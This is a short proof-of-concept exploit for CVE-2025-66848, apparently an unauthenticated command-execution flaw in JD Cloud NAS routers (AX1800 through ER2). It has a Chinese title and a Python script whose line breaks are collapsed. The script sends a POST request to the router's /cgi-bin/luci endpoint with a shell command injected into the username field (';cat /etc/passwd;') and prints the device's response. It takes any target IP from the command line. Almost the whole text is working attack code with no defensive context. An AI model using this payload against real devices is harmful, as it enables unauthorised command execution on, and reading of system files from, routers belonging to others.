CVE-2025-66848: JD Cloud NAS路由器未授权远程命令执行漏洞

import requests import sys # CVE-2025-66848 PoC - JD Cloud NAS Router Unauthenticated RCE # Target: JD Cloud NAS routers (AX1800, AX3000, AX6600, BE6500, ER1, ER2) def exploit(target_ip, target_port=80): """ Exploit for CVE-2025-66848: Unauthenticated Remote Command Execution This PoC demonstrates how an unauthenticated attacker can execute arbitrary commands on affected JD Cloud NAS routers. """ url = f"http://{target_ip}:{target_port}/cgi-bin/luci" # Payload to execute arbitrary command (e.g., cat /etc/passwd) # Modify 'cmd' parameter for different commands payload = { 'username': ';cat /etc/passwd;', 'password': 'dummy' } try: # Attempt authentication bypass + command injection response = requests.post(url, data=payload, timeout=10) print(f"[*] Request sent to {url}") print(f"[*] Status code: {response.status_code}") if response.status_code == 200: print("[+] Target may be vulnerable!") print("[*] Response preview:") print(response.text[:500]) else: print("[-] Target may not be vulnerable or not reachable") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target, port)